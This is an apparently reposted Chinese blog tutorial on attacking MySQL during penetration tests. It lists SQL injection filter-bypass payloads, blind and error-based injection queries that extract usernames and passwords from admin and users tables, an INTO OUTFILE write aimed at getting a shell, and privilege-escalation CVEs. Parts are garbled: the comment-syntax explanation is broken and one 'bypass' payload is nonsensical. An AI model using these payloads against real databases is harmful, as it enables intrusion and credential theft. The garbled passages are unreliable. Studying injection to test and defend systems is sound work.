本文共 2241 字,大约阅读时间需要 7 分钟。
作为一个安全爱好者,你一定不会陌生于MySQL数据库。在渗透过程中,MySQL常常是我们需要重点关注的环境。本文将带你深入了解MySQL数据库及其在渗透中的应用。
MySQL是瑞典MySQL AB公司开发的关系型数据库管理系统,现由Oracle控股。作为开源数据库,MySQL凭借其强大的功能和灵活性,广泛应用于中小型企业。
MySQL主要包含以下三种应用架构:
MySQL的安装相对简单,以下是主流操作系统的安装方法:
Linux/UNIX
使用rpm安装:rpm -i mysql.rpm
MySQL RPM包下载地址已移除。
Windows
下载安装包后解压,双击setup.exe
文件,按照引导完成默认安装和配置。MySQL默认监听连接端口为3306。以下是一些基础信息和操作命令:
SELECT VERSION();
查询当前用户:
SELECT user();
查询当前数据库:
SELECT database();
查询所有数据库名:
SELECT schema_name FROM information_schema.schemata;
查询服务器主机名:
SELECT @@hostname;
管理MySQL数据库可以使用命令行或图形化工具。对于Windows用户,推荐使用命令行工具:
mysql -u root -p
在渗透过程中,SQL注入是常见的技术手段。以下是获取数据库信息的关键语句:
SELECT VERSION();
SELECT user(), current_user(), system_user(), session_user();
SELECT database();
SELECT schema_name FROM information_schema.schemata;
SELECT @@hostname;
MySQL在设计时引入了多种便于安全审计的特性:
注释符
单行注释:--
或 /
多行注释:```字符串截取
SELECT substr('abc', 2, 1);
MySQL特有的写法
在MySQL中,/*! SQL语句 */
这种格式的SQL语句可以被当作正常语句执行。在渗透过程中,过滤绕过技术是必学的。以下是一些常见的绕过方法:
空格绕过:
%20, %09, %0a, %0b, %0c, %0d, %a0%a0UNION%a0select%a0NULL
括号绕过:
UNION(SELECT(column)FROM(table))
关键字绕过:
select 1 union all select username from admin;
select 1 union%a0select username from admin;
select 1 union/*!select*/username from admin;
select 1 union hello%a0username from admin;
盲注:
select SUBSTRING((select username from admin where username = 'admin'),1,5)='admin';
使用HAVING
代替WHERE
:
select * from table where condition having 1=1;
文件写入权限是获取shell的基础。以下是一些常见的文件写入语句:
select 'test' into outfile 'd:\www\test.txt';
MySQL数据库中存在多个提权漏洞,以下是常见的:
CVE-2016-6663:
允许本地用户通过条件竞争漏洞提升权限到mysql
用户。CVE-2016-5616:
允许攻击者获取操作系统root权限。利用报错注入获取信息:
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
select exp(~(select*from(select column_name from information_schema.columns where table_name='admin' limit 0,1)x));
select exp(~(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));
本篇文章分享了MySQL数据库的简介及常见注入技巧,涵盖了多种绕过过滤技术和报错注入方法。如有疑问或建议,欢迎留言讨论。
转载地址:http://dhbfk.baihongyu.com/